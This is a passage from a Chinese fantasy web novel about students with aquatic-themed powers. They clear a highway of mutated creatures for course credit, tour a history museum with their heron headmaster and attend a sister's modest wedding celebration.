过了几秒钟，地表上的地皮似乎动了动，一层浮土牵拉着无数变异生物出来。 李老师的眼睛一下就瞪大了，嘴巴张了张，一个字都说不出来。 被分配到这段公路的二年级的导师们也纷纷被惊动，飞到李老师身边，跟着他一起看眼前的景象。 一名老师摸了摸自己的鼻子：“怎么跟用鼻贴撕黑头似的？” “啊？你用那种撕拉的？怪不得毛孔这么大。” “不是，你们看这动静像是一年级学生能搞出来的吗？” “反正我不行。” 他们刚说了几句，卷了一层地皮的沙伍往前栽倒。 “扑街！”一名老师骂了一声，赶紧冲下去。 姜纶已经把沙伍抱在了怀里：“没事，只是有些力竭。各位老师，我们回去休息了，你们也早点休息。” 几名老师看着姜纶把沙伍打横抱走：“小少爷是土系异能？” “可我们是水产养殖学院，来个土系的……” “不要有门户之见。” 第68章 额外的学分 沙伍和姜纶的动作，守夜的学生们没怎么看清楚，基本就看到两个人走出去，过了一会儿一个站着一个躺着回来了。 晚上竟然风平浪静，并没有发生老师对学生们发动偷袭这样的事情。 对于一年级学生，只要他们在野外宿营的时候，能够安排有人值守，老师们就会给分数；反之，则会肘击。 实习分数不是这么好拿的。 考核内容非常细致。 对不同年级的学生，老师们的要求也不一样。 譬如二年级的学生，老师们会找准他们守夜时候的薄弱时间进行袭扰。 高速路段上的第一个夜晚，只有一年十班睡了个安稳觉，其余二年级的班级全都鸡飞狗跳。 “啊？我们昨天晚上集体梦游出来干活了？”怎么昨天剩下的大段公路已经被清理干净了？ 双修效率高的沙伍一觉醒来精神奕奕，完全看不出力竭的模样，拉着姜纶一起举手：“我们干的！” 班长看着他们交握在一起的双手：“别一大早就秀恩爱。” 他想吃早饭，不想吃狗粮。 “切~不相信就算了。”沙伍放下手，跟姜纶一起肩并肩，晃着手，小声问，“我们活都干完了，是不是可以提前回去了？” 姜纶手上有完整的教学信息，当然也包括这次实习的：“清楚变异生物，完了之后还要重新铺处理过后的石子，再用铺路检修的机器维护一下路面。这个不费事。愿意回去也可以回去，不过最好还是多干点活，会有额外的学分。一年级实习学分是最简单的。” 沙伍觉得姜纶的话里面水分很大：“再怎么简单，应该也就刚好拿到规定的学分。” 就跟军训的时候一样，所有班级都是压线及格，哪来的本事再完成额外的任务？ 每年都有不少学生军训不及格，得跟下一届的新生一起再重新军训的。 姜纶对他眨眨眼：“这不是有我给你作弊吗？” 沙伍手肘一弯，顶在他腰眼上：“认真组织好语言再说话。” 姜纶假装揉了揉腰，清了清嗓子，表情严肃：“我是十班的一份子，这都是我该做的。” “嗯。” 这时候同学们纷纷举手，沙伍也不明所以先跟着举手为敬，一边问身边的小丑鱼：“班长说什么呢？” 小丑鱼白了他们一眼：“就说你们刚才说的，争取多赚点实习分。一会儿我们兵分两路，一部分同学留下来铺石子什么的，一部分同学先去另外的路段工作。我们三个净化的肯定得先走。对了，一会儿我能不能跟你们一辆车？在车上给我整个小鱼缸就行，我不占地方的。” “行。” 只住了一个晚上的活动板房没什么好特意收拾的，简单折叠成一辆箱式小货车后，沙伍在后车厢内摆上简单的一个淡水一个海水的鱼缸。 别的车上坐不下的同学们，纷纷跳水，自动装箱。 体型大的就没有办法了，飞车还得有人开。 李老师跟隔壁严老师招呼了一声，让他帮忙看一下留下来的学生，带队把沙伍他们一行车队送到另外的地点。 这地方比起刚开始的路段要远得多。 李老师划了个起点位置：“从这儿开始，你们就往前清。时间就这一个星期，你们干多少算多少学分。先自己选营地，这次我不给你们提示了。” “好~” 桃花水母原地起飞：“我看看地形。” 觉醒体的桃花水母小小一个，在天空中垂下长长的犹如丝绦一样的触须，漂亮得像是在天空中盛开的花朵。 其他人看见嘴巴都长大了：“卧槽！这怎么做到的？” “把异能转化成风系吧？” 其他人纷纷尝试，除了虾同学和小丑鱼飘起来一点，其他人纹丝不动。 “桃花水母也太作弊了。自重轻，外形还很适合飘。” 同样作为S级异能值天赋，桃花水母相比班级里的其他几个人，外形相当具有欺骗性。 桃花水母在空中飘了没一会儿就降落下来，变回人形：“前面十公里有一条河，大概十来米宽。别的没什么特殊地貌。” 野外宿营一般不要太靠近水源，不然容易遭遇各种野生动物。 但是他们都是水系偏向，靠近水源对他们的战斗力有很大的提升。 最终他们选了个距离水源不远不近的地方。 班长安排任务：“姜纶，你带队去找食物？” 面对姜纶，他总觉得很有压力，感觉自己不配给姜纶安排任务。 姜纶没反对，就是：“稍等，我先配合一下我家小鲨鱼的工作。” 别人还不清楚他们究竟要干什么，就见沙伍张开一个长方体的泡泡，整了个“鼻贴”，瞬间清除了三公里长的路段。 周围陷入巨大的沉默。 等姜纶把脱力的沙伍背起来，招呼了一声：“走吧，我们挖野菜去。” 同学们麻木地按照之前的分工，清理的清理，寻找物资的寻找物资，扎营的扎营。 过了好一会儿，才有人问：“昨天晚上真的是你们把剩下的路段清理干净的啊？” “对。”沙伍趴在姜纶肩头，眯着眼睛打哈欠，“我不是跟你们说了嘛。” 说了，但难以置信。 亲眼见了，更难以置信。 “姜纶你是土系异能？” “对。”姜纶没否认。 有人开始猜：“土系异能的水产，你的觉醒体不会是泥鳅吧？” “噗。”沙伍埋头闷笑。 姜纶无奈：“不是。我的觉醒体比较难控制。” 同学们听他这么说，没再追问他的异能的事情，反而问道：“你们刚才是之前说的双修吗？是一种合体技吗？我们能学吗？” 姜纶也搞不清楚双修是什么：“我不知道啊，就是小鲨鱼上影视艺术修养的课，看了个什么电影，自己瞎琢磨的。” 他跟家里人说过，他姐一个单身人士不好实践，他爸妈尝试过，结果就是没什么结果。 明明他和沙伍一起双修效果显著，对他的异能控制力，对沙伍的异能强度和身体修复，效果都非常显著。 要说沙伍是他的专属净化者也说不通。 净化者对污染者的付出都是单方面的，从来没听说过有异能方面的回报。 他感觉还是因为沙伍的吞噬异能太过特殊。 沙伍就跟他们解释了一下具体操作。 同学们一听就明白了：“说白了就是两个人一起冥想呗？最好是属性比较相辅相成的。” “我们都是水系的，应该没问题吧？” “起个双修的名字，还以为有多不正经。” 同学们纷纷跟自己平时玩得好的小伙伴一起尝试，纷纷失败。 失败了也无所谓：“等晚上收工冥想的时候再试，现在先干活吧。” “看看能不能找到变异蔬菜。肉类我们暂时够。”感谢二年十班学长们的馈赠。 半头三级变异狍子，一只一级变异大鹅，够他们再吃两天。 不够的话，他们可以去河里抓点鱼。 中午，李老师带着剩余的同学过来汇合，看他们进行轮班工作，轮班守夜，各方面事情都安排得井井有条，暗忖：果然只要远离别的班级，自家的小孩子还是很安分守己的。 昨天打群架能怪他们班吗？ 不能。那是二年三班使坏。 昨天二年十班被变异大鹅群围殴，能怪他们班吗？ 不能。那是二年十班没做好事先侦查。 他们一年级的小孩儿，能懂什么？ 虽说和别的班级在一起，老师们之间能够相互有个照应，但还是算了。 他看着学生们研究双修……不是：“你们在研究什么？！” “双修啊。” “老师你要不要一起？” 李老师一脸惊恐：“不！你们不可以！” 同学们好一番解释，才让李老师解除了误会，但：“别乱搞。异能跑去别人的身体里是非常危险的。目前能够将这方面做到最好的也就只有战斗净化者，还得接受专门的训练，长久的练习才能做到。你们还是省着点心。老老实实自己冥想，别想着走捷径。” 李老师看他们还是一脸不死心，以防他们在自己看不到的地方作妖，他提议：“你们这样，把双方的泡泡融合试试。” 啧，他怎么也跟着学生们说泡泡了？ 膜，是膜！ 膜的异能消耗很低，是最基础的异能运用之一。 同学们觉得没有什么问题，尝试过后泡泡“啪啪”炸得跟鞭炮似的。 他们不死心，进行了一系列的排列组合，最后全都炸开，无一例外。 “咦？” “沙伍和姜纶做着不是很简单？” 他们不觉得是沙伍和姜纶隐瞒了他们什么，但怎么就不行呢？ 李老师倒是觉得正常：“异能的各种性状到现在，我们也只是研究了冰山一角。每个人的异能都不一样，理论上每个人的修炼方式都不一样。你们在学习过程中也要注意到这一点，不要任何事情都照本宣科。在练习异能的过程中，发现有什么自己难以理解的现象，可以来问我。” 同学们见李老师非常严肃的表情，顿时也老实了下来：“谢谢老师。” 李老师笑笑：“行了，忙你们自己的事情去。中午想吃什么？我去买。” 肉和菜他们都能自己搞定。 海豚班长举手：“老师，能不能给我们多买一些主食和调料，还有水果？” 他们找到了一些在树上挂的梆硬的风干石榴，味道好不好姑且不说，刚靠近就差点被爆开的石榴籽给突突了。 得亏那棵变异石榴异等级还没到一级，没什么攻击力。 李老师觉得孩子们已经掌握了基本的野外生存能力，表现比一年级其他班级，甚至一部分二年级的班级都要良好，采买食物的时候买了好几种主食。 经过一周的艰苦工作后，沙伍他们多得了一个学分。 班级里哀嚎阵阵：“我们累死累活的，才加了一个学分？” “那不然呢？” 有人问沙伍：“给你的学分会不会多一点？”毕竟这次沙伍出了大力。 沙伍翻了翻自己的个人信息：“没有，2+1。” 2分是这次实习的基础学分，1分是额外奖励。 “团体任务，大家都一样的吧？” 有人扒拉沙伍的学分：“你上学期怎么还有个额外的15分？” 有人想了起来：“上学期清理蘑菇那事情吧？” “我以为你就是当个大型快速检测仪，怎么给15分那么多？不会是遇到差点要了命的危险吧？” 沙伍想到那棵变异蘑菇，抬手搓了搓脸：“啊，大概是奖励我这个鱼饵当得很成功吧？” 估计夜鹭都没想到，变异蘑菇能够为了吃掉他，集中了所有能量，方便后续被一网打尽。 不然散落的蘑菇孢子还真的很难斩尽杀绝。 说起来，那股怪怪的甜香总让他心里面悬悬的。 “学分不好赚啊。” 小丑鱼捧着光屏埋头苦读，头也不抬道：“趁着一二年级多修点学分，免得到大四学分不够。” 有人探头过去看小丑鱼在学什么，瞬间眼晕：“突然不认字！” 每个字都懂，组合起来什么都不懂。 小丑鱼学得脑壳疼：“我在辅修医学院的课程。” 青龙学院里修双学位的情况其实还挺普遍的，但一般就是修一个相对比较轻松一点学科。 有些是选择将来可以辅助战斗和野外生存的专业。 医学当然很有用，但医学太难了。 沙伍给他递了一盒糖。 小丑鱼打开吃了一粒，顿时五官都散乱了：“这什么？”仿佛一瞬间看见了太奶！ “提神醒脑用的。”别管是什么，就说有没有效果吧？ 食物拿到学校，下场都是被同学们分着吃掉，哪怕家里面再不好吃的东西，在学校里都会非常受欢迎。 沙伍的糖也被分掉了。 全班集体见太奶。 沙伍看着损失不大的糖果盒：“你们要再来一些吗？我还有很多。” 所有人的五官都不受控制，连连摆手：“不了。” “这是柠檬糖吧？怎么这么酸！” “嗯。”他在榕城买的变异柠檬树到了，数量比他预想中要多得多。 作为即将付出额外劳动力的人，薛春贡献出了去年收集的柠檬原汁，让阿二帮忙做成了糖。 全班散开：“等考试前再找你要吧。” 这东西提神是真提神。 “你家姜纶又不来上课了？” “嗯。”最近忙着搬家。 搬家用不着姜纶，但不妨碍姜纶借此逃课。 起码姜纶是真的在干活，忙着把从他们从榕城买的植物种下去，还忙着在新宿舍开个新的农场。 休息了一个寒假，又经历了一周的实习，大家都很不适应学习节奏，好不容易熬到下课，一个个都往沙伍的小飞车里塞，自己是连叫个小飞车的力气都没有了。 沙伍只能顺路把人送到宿舍楼下，然后去城里。 露台上，家庭种植区已经大致搭建好了。 榕城老板帮忙联系的本地师傅正在测试小温室的自动调温，看到沙伍很自然露出一个笑：“同学放学回来了啊。你妈妈出去买菜了。” “好的。”沙伍停好小飞车，好奇地问东问西。 师傅很耐心，给他讲解怎么操作，又说：“记不住也没关系，你家有管家机器人和家政机器人，日常维护交给它们就行了。等过两个月温度升高后，我过来拆除温室，再有什么问题就联系我。我的店就在前面南武商场十七楼露台边上。换季什么的时候会办屋顶花园的展，有时间可以跟妈妈一起过来看看。” 沙伍加了师傅的通讯号，看着现在还光秃秃的花盆，想着再过几天应该能变成郁郁葱葱的一大片。 师傅前脚走，沙妈妈后脚就回来了：“哎呀，都弄好了？还挺快的。” “嗯。”沙伍把师傅留下的文档发了一份给她，看家政机器人把沙妈妈的东西拿进屋，“晚上吃什么？” “你别想了。梁管家说了，不让你在外面乱吃东西。”沙妈妈对多个露台花园还是很高兴的，感觉自己竟然有时间培养一点兴趣爱好了，“姜纶忙着呢？” “嗯，要搬新宿舍。等弄好了，沙妈妈来玩。”沙伍趁势邀请。 “一定的。”沙妈妈来了青龙城之后，就对青龙学院做了多番了解，“听说你们青龙学院住宿环境很好？” “对。比一般的学生宿舍好多了。” “我看有人说，有人能住别墅。”沙妈妈给沙伍倒了一杯白开水。 沙伍接过慢慢喝：“嗯。我跟姜纶一起住一栋别墅。” 沙妈妈自动理解为双拼，有些不好想象姜纶身边那么多人，怎么住得下。 沙伍再三确认沙妈妈不留饭，只能心不甘情不愿地回宿舍。 过了没两天，沙伍就被通知要搬家了。 “啊？我房间里的东西都还没打包。” “不用打包。梁伯给你准备了新的。”姜纶想到沙伍自己的那堆晶核，“你的晶核会给你带过去。” “好吧。”除了晶核，他也没什么别的东西要带的了，沙伍赶着去上学，“那我先走了。” 姜纶看他又是直接从窗台往下跳，提醒：“晚上放学了直接去新宿舍！” “哦！”楼下沙伍踩着飞板，拿上阿大丢过来的早餐，配合极其默契，一眨眼就没了影。 放学的时候，姜纶还是不放心，过来接沙伍放学。 沙伍在教室里就看到了姜纶的定位，知道他在外面等了快一节课的时间：“你怎么不进教室？好歹混点临时分。到时候要是被记者翻出来，你的考试成绩只有一丢丢，又要乱写。” 姜纶给飞车设定好地点，把自己的个人信息给他看：“共工大学是学分制。学分够了就能毕业。我学分很够。” 沙伍看着上面足以瞬间毕业的学分：“你哪儿来的那么多学分？” 加分项不多，除了军训和这次实习的学分之外，剩下的每一笔都非常庞大。 姜纶还真不记得每一笔学分对应的事情，对照了一下时间，指着其中分数最高的一项：“这个你知道的，就是干掉变异蘑菇。” 一株具有寄生性的八级变异蘑菇能够造成的破坏简直难以想象，一次性给了许多学分合情合理。 “还有这些，应该是搞了几个变异植物的品种。”姜纶点开学分后面的说明，全是沙伍看不懂的植物编号。 姜纶对自己的学分多少无所谓，也不介意别人说什么：“记者说什么不用去管。做人做事，对得起自己的良心就好。反正不管我做什么，都会有人看我不顺眼的。” “所以你从来没澄清过你不是没有异能。”沙伍想想也对。 一个亿万富翁，为什么要因为有人骂他穷就生气？ “嗯。”姜纶打开几个光屏给他看，“喏，我正在培育的一些变异农作物。” “那么多！”沙伍感觉自己从来没见过，“你都是在哪儿培育的？怎么没在菜地里看到过？” “都是在瑞云实验室那边，很久已经开始培育的。一种新的品种能够定种要好多年，到了青龙城开始培育的品种暂时遗传稳定性什么的还没法验证。菜地里就是种一些比较有趣的品种。” “新宿舍那边会有你的实验室吗？” “有的。那边地方大，可以随便我折腾。我还改造了一座茶山。你要不要跟薛春学园艺？” “要！”沙伍往姜纶身上一歪，“想跟着你学。” 刚切换手动操作的姜纶，差点发生车祸！ “你你你……你故意的吧！”从学校到新宿舍会经过一片污染区，是没有信号的，飞车没法自动驾驶，只能手动。 “哈哈哈！”沙伍认真看着他怎么开飞车，想到一个问题，“我还没驾照！” 姜纶被他突然转变的话题搞得脑子一片混乱：“驾照？” “对啊。实习的时候，班级里好像其他人都会开。”他只会开小飞车。 姜纶没了解过考证的事情：“等回去了问问梁伯？” “你也不知道？” “不知道。” “那你现在是无证驾驶吗？” “不，我有。”姜纶想起来了，“家里造个练习场地，考核通过就可以拿证了。” 沙伍听着他的发言，表示难以理解。 为了拿驾照，在自己家里造一个考场？ 第69章 朱雀传说 新宿舍占地广阔，有点像龙丘，周围只有他们这一栋……两栋房子。 一栋房子和原来的宿舍几乎一样。 梁管家说道：“反正这边地方足够大，把住宅和别的功能分开。靠海湾那里是个小医院和一些实验室，以后小伍你早上游泳回来，可以直接去那里体检。” “被您这么一说，想起来我好久没晨练了。”都怪小少爷太秀色可餐，从此君王不早朝啊。 唉，这样下去不行。 他得早起，卷起来！ 沙伍接过疯跑过来的小粉：“小粉你明天早上早点叫我起床喵？” “喵~”小粉也不知道听没听懂，反正就喵了。 喵完，它踩着沙伍的肩膀一蹬，唰一下跑了个没影。 2月底的植物已经嗅到了春季的气息，让它们变得躁动无比。 梁管家跟他一起进屋：“你是该早点起床了。这里距离学校远，你得留出通勤时间。” 跟在后面的姜纶表示不满：“开飞车过去也要不了多久。早上还是多睡一会儿，小鲨鱼还在长身体呢。” “哦，我还没飞车驾照呢。”沙伍感觉姜纶的在家搞个考场太麻烦，“我去报个驾校。” 梁管家跟他说：“你别自己报。我有驾校教练资格证，给你在驾校挂个名字，平时带着你在家里转两圈，回头你去驾校考一下试就行了。你还是把时间放在学习上。” “这样也行？”沙伍不确定学习质量。 “怎么不行？教训场地和车辆都是一样的，就是换一个教学地点而已，考试也去驾校考，就是节约一下时间。大学城里就有驾校，交给我好了。对了，你顺便把飞板驾照也考一下？” “哦，对。”飞板也需要驾照，感情他都无证驾驶好几次了。 梁伯办事效率杠杠的，很快就给沙伍安排好了一切。 飞车驾驶确实不难。 沙伍就每天放学和周末练练，两周时间就拿到了驾照，刚到手就被夜鹭抢走了。 “院长！”他特意多花额外的钱买的实物驾照！ 夜鹭歪头，看了看爪子上两根长条形的东西：“切~不是鱼啊。” 他把驾照丢还给沙伍，顺便往他的背包里一钻：“忙你的去吧。我睡一会儿，累死了。” 沙伍感觉背包里动了动，很快就安静了下来，给自己的背包单独罩了个泡泡，多少能隔绝一点外界的噪音。 考完了驾照，结束了一件事，感觉这个周末格外轻松。 他这个周末要在城里住两天。 开春了，沙妈妈所在环卫局的工作量陡然上升，这个时间并不在家，去加班了。 沙伍回家看了一眼露台小花园，想了想回房在衣服外面套了件外套，看上去稍微不那么引人注目一点才出门。 异能者身体素质高。 水产大多数没那么怕冷，冬天穿一身夏装很正常；但是在城里这么穿，还是太扎眼了。 沙伍重新背好背包，骑着小飞车开始自己的旅行计划。 青龙城非常大，他在青龙城半年多，都没正经去过几个景点。 第一站是青龙博物馆，没预约上。 沙伍有些失望，怪自己没提前做好攻略，找到一个附近不用预约的景点，青龙区陈列馆。 青龙区是青龙城市政府所在地，也是青龙城最早的人类聚居点之一。 陈列馆内展示的是青龙城各个阶段的历史。 沙伍本来以为就是简单走马观花的景点，没想到陈列馆非常大，里面展示的内容很多都需要停下来仔细看看，听听讲解。 陈列馆是免费的，但是陈列馆里的餐厅是真的贵啊。 他跟姜纶在榕城吃了一条街才一千出头，这里随便一个菜都得一千多，普遍价格在两三千。 他说同学们怎么都选择吃食堂，外面的异能者食物确实都太贵了。 “给我点两条鱼。”夜鹭在背包里探出一截嘴巴尖。 沙伍翻了翻菜单，点了等级最高的两条鱼：“只有一条六级一条七级的，够吃吗？” 背包动了动：“在外面随便吃点，想吃好的还是得自己钓鱼。” 拿他当鱼饵是吧？ 沙伍看了看菜单，给自己随便点了份套餐，下单付款。 没一会儿，餐厅经理走了过来，微笑提醒：“这位先生，请问您点的两条鱼是自己吃吗？还是您有别的客人没到？” 他这么说的意思很明白，沙伍只是个一级，六七级的鱼对他来说等级太高了，能量应该消耗不了。 沙伍把背包里的夜鹭抱出来：“院长吃的。” 在青龙城异能圈子里工作了一段时间的，几乎没人不知道青龙学院的院长是一只夜鹭。 经理的表情立刻从吃惊变得崇拜景仰：“原来是院长。两位稍等，马上上菜。” 院长没什么精神，也不知道去干嘛了，吃鱼都不整条吞，而是要沙伍一口一口喂。 院长不仅吃了自己的两条鱼，还把沙伍给自己点的餐给吃了。 “你不是有宝宝餐？” 沙伍皱着脸：“那我偶尔也想尝尝别的地方的食物。” 夜鹭想想觉得小孩儿也挺可怜：“算了，鱼的脸颊肉给你吃。” 沙伍平时吃的餐里面，不乏六级七级的食材，少吃一点并没有什么关系。 得到夜鹭的许可，他瞬间就把一边脸颊肉吃进嘴里，然后反应平平：“好吃的。” 肯定是不难吃，但谈不上什么记忆点，就是普通好吃。 夜鹭也觉得：“还是现抓现吃的好。” 他把桌上剩下的食物全都炫完，站在桌子上仰着脑袋让沙伍帮他擦嘴，再抱到背包里。 沙伍看他是一根羽毛都不想动，感觉他待在包里面有点挤，出了餐厅去陈列馆的商店买了青龙帽子和围巾，把夜鹭抱到帽子里，用围巾盖好。 夜鹭纹丝不动，但骂骂咧咧：“姚瑞云那个母老虎……” “那我们在青龙城青龙区，文创肯定都是妈妈……” 夜鹭刚要闭上的眼睛瞬间张开，连脖子毛都炸开了：“你都叫妈了？！” “啊、那个、就叫了。”沙伍红着脸小声，低着脑袋更加小声解释，“妈妈很好的。” 夜鹭脖子毛收敛下去，重新在帽子里窝成一团：“那是你不知道她有多凶。” 沙伍看夜鹭跟个小孩儿一样躺平了睡，两脚朝天的样子十分想扒拉一下爪爪，挣扎了一下，还是忍住了。 陈列馆里人很少，很安静。 他干脆在陈列馆里逛了一下午，戴了耳机听解说录音。 陈列馆的地下室里，可以看以前大灾变时期保存和修复的影像记录。 这些影像很碎片，记录的主人公各有不同。 有大灾变刚开始时候，人类突然遭逢巨变的恐慌。家庭监控里拍摄到的普通人家富足生活的一角，和客厅植物突然变异捕猎家庭成员的画面。 有大灾变时期，没有异能的人类躲躲藏藏，刚刚避开一只巨大的变异动物，又被一群变异老鼠发现，情急之下一个七八岁的小女孩爆发出强悍的火系异能，击退满城的变异老鼠。 经历了刚开始科技一夜之间报废和全球生物变异的恐慌后，人们重新组织了起来。 人们在废土上建立新的城市，研发新的科技。 大量的人群聚集，无数人依靠勤劳、智慧，重新建立新的文明。 沙伍把那位火系异能小女孩的视频重新看了一遍，注视着她一瞬间爆发产生的火焰虚影：“朱雀？” 有场馆的服务人员听到，一脸意外地看着沙伍：“还是有人第一眼就认出来。没错她是建立朱雀城的朱雀。” “她的名字就叫朱雀吗？” 服务人员摇摇头：“不知道。她觉醒的时候太混乱了，只找到这段影像。后来她很快就失去了踪影。只不过因为她的存在，朱雀城在将近一百年的时间里，都没有任何变生物的侵袭。人们也能够得以建立新的社会秩序。” 这个信息沙伍还是第一次知道，想想现在朱雀城每年稳定的各种变异生物大爆发…… 沙伍走出陈列馆的时候，天已经黑了。 他骑上小飞车，看一到晚上就精神的夜鹭跳到车把手上，问：“院长，朱雀是在镇守朱雀城的污染源吗？现在朱雀城这样，是因为朱雀的力量减弱了吗？” 夜鹭迎着被泡泡过滤的夜风整理羽毛：“谁跟你说镇守朱雀城的是朱雀？朱雀那家伙就是昙花一现，很快出现，很快到达九级巅峰，又很快消失。” “那现在镇守朱雀城的是谁？不会您一个人镇守青龙城和朱雀城两座大城吧？”所以才这么累？ 夜鹭理完了一边咯吱窝，又展开另外一边翅膀开始整理：“想什么呢？青龙城我就是暂代，平时姚瑞云还是会过来镇一下场子的。我感觉她那个青龙还是有点讲究的，青龙城这里的污染源比别的大城的污染源要弱，感觉还有点消退的意思。还有姚昭华也会过来代班一阵……嘶！” 沙伍看夜鹭扯下自己一根咯吱窝毛，小心把毛捏住，轻轻放进口袋里：“大姐过来代班还不好吗？” 夜鹭僵着翅膀几秒钟，才装作若无其事地收回来，缩着脖子任由脑后的白毛飞舞：“不是姚昭华，是我想起来姜纶。本来以为会来一条青龙，这样我就能一劳永逸，没想到就这么个花色不对的半吊子玩意儿。亏我还认真教过他，给过他不少好东西，结果给我整这一出。” 沙伍还是想不通：“镇守污染源有属性上的要求？不是应该只要够强就行？” “所以啊，姜纶不够强。他身上那污染，啧。让他镇守污染源，他自己不变成污染源就不错了。”夜鹭想着过去一个学期姜纶的进步，觉得还是不要太偏激，“你做得不错，以后让姜纶多多锻炼。说不定有个十来年，他就能控制住自己了。” 沙伍眼睛顿时眯起，嘴角上扬：“那~是。我是最强的！”伍哥是永远的哥！ 夜鹭想着沙伍身上漏得跟筛子一样的异能脉络，不理解世界上怎么会有人拖着这么残破的身体还不死，甚至拖到绝处逢生，活蹦乱跳，眼看着过几年就能治愈。 这要是没有那么大的问题，完全体的沙伍的异能值天赋得到什么程度？ 沙伍见夜鹭不说话，也觉得自己吹自己吹得太过了，问他：“那现在朱雀城镇守的人是谁？” “文鸟。” 沙伍搜索了一下文鸟，给夜鹭看：“这么个球版麻雀？” 夜鹭一翅膀扇他脑袋上：“滚蛋！什么球版……人家不是这个文鸟，是凤凰！凤凰胸前的羽毛从特定的角度看像个‘文’，所以叫文鸟。” “凤凰！院长我想看凤凰！”凤凰一定很好看！ 夜鹭一翅膀拍他脑门上：“看看看！朱雀城的污染源是个什么情况，你就想去看！你当凤凰是动物园里的动物呢，买个门票就能去参观？” “肯定不是嘛。我绝对没有不尊重凤凰的意思。” “那你是什么意思？” “……串门？” 夜鹭又给了沙伍一翅膀：“你到家了，快下去。” 沙伍把小飞车停在小花园旁边的空地上，看他准备起飞，赶紧问：“院长去哪儿？” 夜鹭说道：“去抓鱼。” 姜纶推开门出来：“怎么回来了不进门？” 沙伍指着看不出什么的夜空：“院长刚走。” “夜老师回来了啊？”姜纶跟着他的视线看过去，显然看不出什么来，“瞧着要下雪，先吃饭。沙妈妈、二姐、二姐夫已经等着了。” “哦，对。今天二姐和二姐夫领证。我放在房间里的礼物，你送了没？” “没，等着你回来一起送。”提到这个，姜纶显然表情有些困惑。 二楼基本就是沙伍和姜纶两个人的空间，姜纶还是等先关上了卧室门，再关上了衣帽间门，才问道：“二姐和二姐夫就这么领个证，不打算办婚礼吗？” 沙伍把外套脱了，刚想扔进脏衣篓里，想到什么赶紧捞起来掏口袋：“不办啊。办婚礼很花钱的。他们刚结婚到处得花钱，还是能省则省。我们又没什么亲戚，明天两家人一起吃个饭就好了。” 他从衣服口袋里掏出一根羽毛：“咦？怎么变色了？院长刚拔下来的时候明明是白白的，怎么这么快就发黄了？” “夜老师的羽毛？”姜纶赶紧找了个盒子，把羽毛装起来，“等我找人给你做个什么，你一直戴着。” “很厉害？” “嗯，关键时刻能保命。不过他怎么突然给你羽毛？” 沙伍把刚才的经过说了一遍：“应该不是有意的。” “不管，反正在你手上就是你的了。”姜纶显然觉得沙伍占了大便宜。 沙伍还是有点懵懵懂懂，把装了夜鹭羽毛的盒子仔细收好，再把给沙贰和曾绍祺的结婚礼物拿出来：“走吧，下楼。” 楼下客厅里，全家人都坐在沙发上看沙贰和曾绍祺的婚纱照。 沙伍把手上长条形的首饰盒递给两人：“二姐、二姐夫，新婚快乐。” “谢谢小伍！” 两人还没看到首饰盒里是什么，就已经满眼都是笑，拉着两人坐下，才慢慢打开盒子。 盒子里躺着的是意外朴素的两根项链。 很细的金链子，搭配了一颗绿豆大小的红色宝石。 整条项链谈不上什么设计，但就是莫名好看。 沙伍指了指红色宝石：“这是我采的一段红珊瑚，链子不是黄金，是一种变异植物的丝，是姜纶种的。项链没什么大用处，就是戴着能身体暖和一点，可能还带有一点温养的效果。温养什么的，应该效果就那样，别当真。” 沙贰很珍重地双手拿起来：“每次看到异能物品我都觉得好神奇。这东西很贵吧？” 曾绍祺也觉得受宠若惊：“没想到我也能有异能物品。我这种普通人也能戴吗？” “能的。特意卡了能量上限做的，所以红珊瑚的品质不是很好。”比起过年时候姜纶送给他的红珊瑚树，这点红珊瑚真的像骨头渣渣，“这东西的能量会越来越少，下面给配了替换的珊瑚。” 曾绍祺把项链给沙贰戴上，琢磨了一下，才找到盒子的第二层：“这里还有几颗白的？不是纯白的，有点点粉红？” “对。天冷了戴红珊瑚的，别的时候就戴粉白的，有一点点净化作用。”沙伍感觉这点净化作用还不如自己的泡泡，“聊胜于无吧。城里其实用不着净化，这个粉白色挺好看的。” 沙贰其实一直体寒，一戴上红珊瑚项链，也不知道是不是心理作用，只觉得手脚一下都暖和了。 “小伍谢谢你。我特别特别喜欢！” 沙伍是理解不了女性的体寒的，送这个是设计师说过送女性的礼物最好不要太冰，要暖和的。 加上送人结婚礼物，确实是送红色的更加喜庆。 姜纶就没有再准备送额外的礼物了，因为按照沙伍的说法，他们两个是一家人，只需要送一份礼物就行。 虽然按照姜纶的说法，直接送一笔钱给他们更加实际，但沙伍否掉了他的这项提议。 他们送的礼金得和其他兄弟姐妹的一样，顶多只能多一点点。 沙贰也给曾绍祺戴上了项链：“这个平时戴着会不会太贵重？感觉有异能两个字的都很贵。我看今天有异能者在餐厅一顿饭就吃掉了几十万，还是一个人吃的。” 沙伍去拿茶几上的零食，被姜纶扣住手腕，只能放下手：“没那么夸张。这个项链的材料都是我们自己出的，就出了点找人制作的加工费。一顿饭几十万啊，吃的什么？” 沙贰翻出新闻：“我看看啊，说是吃的高级变异海鲜。要不是这个新闻，我还不知道青龙区的陈列馆里竟然还有餐厅。” “嗯？”沙伍凑过去看了一眼新闻配图，上面有一张电子账单的截图，另外有一张陈列馆餐厅的照片。其中没有任何人入境，但怎么就这么熟悉呢？ 他悄咪咪打开自己的银行支付信息，看到中午的一笔65万的支出，陷入沉默。 由俭入奢易啊。 半年前，别说是65万，就是6块5，他都得计较一番，现在他已经能眼也不眨一顿饭吃掉几十万了。 不对！ 65万，他就吃到了一口脸颊肉，全是院长吃的！ 几个人聊了一会儿，沙叁回来了：“还没吃饭呢？不是说别等我吗？” “没特意等。刚好聊着天就忘记了。”沙妈妈张罗着大家一起吃晚饭。 沙伍惯例是自带的宝宝餐，姜纶倒是跟着一起吃的。 他吃什么都无所谓，倒是还蛮喜欢这种一大家子坐一起的氛围，听他们聊白天遇到的事情。 在宿舍跟梁伯他们一起吃饭的时候也热闹，但是感觉不太一样。 吃过饭，沙贰和曾绍祺要回家。 沙伍他们闲着没事：“我们送你们回去吧。” 沙妈妈也想去看看：“我看看你们家里还缺什么东西。” 最后一大家子跟着一起去了沙贰他们的小家。 房子的楼层不错，采光很好，面积小了一点，现在两个人也够住。 两人为了结婚添置了很多新东西，有些家具还没来得及组装。 沙叁正在跟他们说一些手头目前适合一家三口的房源：“将来再搬家的话，得考虑孩子的读书问题。学校好的房子，租金都不便宜。” 曾绍祺说道：“我下个月应该会升职。到时候我看看是不是能买房子。” 沙叁显然很意外：“你们存够钱了？” “一个首付的钱差不多吧。反正我们没准备买大房子。” 说起大房子，他探头往客厅看了一眼，发现姜纶正盘腿坐在地上，一点都没有少爷架子。 姜纶没见过需要组装的家具，给他递各种工具和小零件：“这个还挺有趣的，有点像勾链路。” 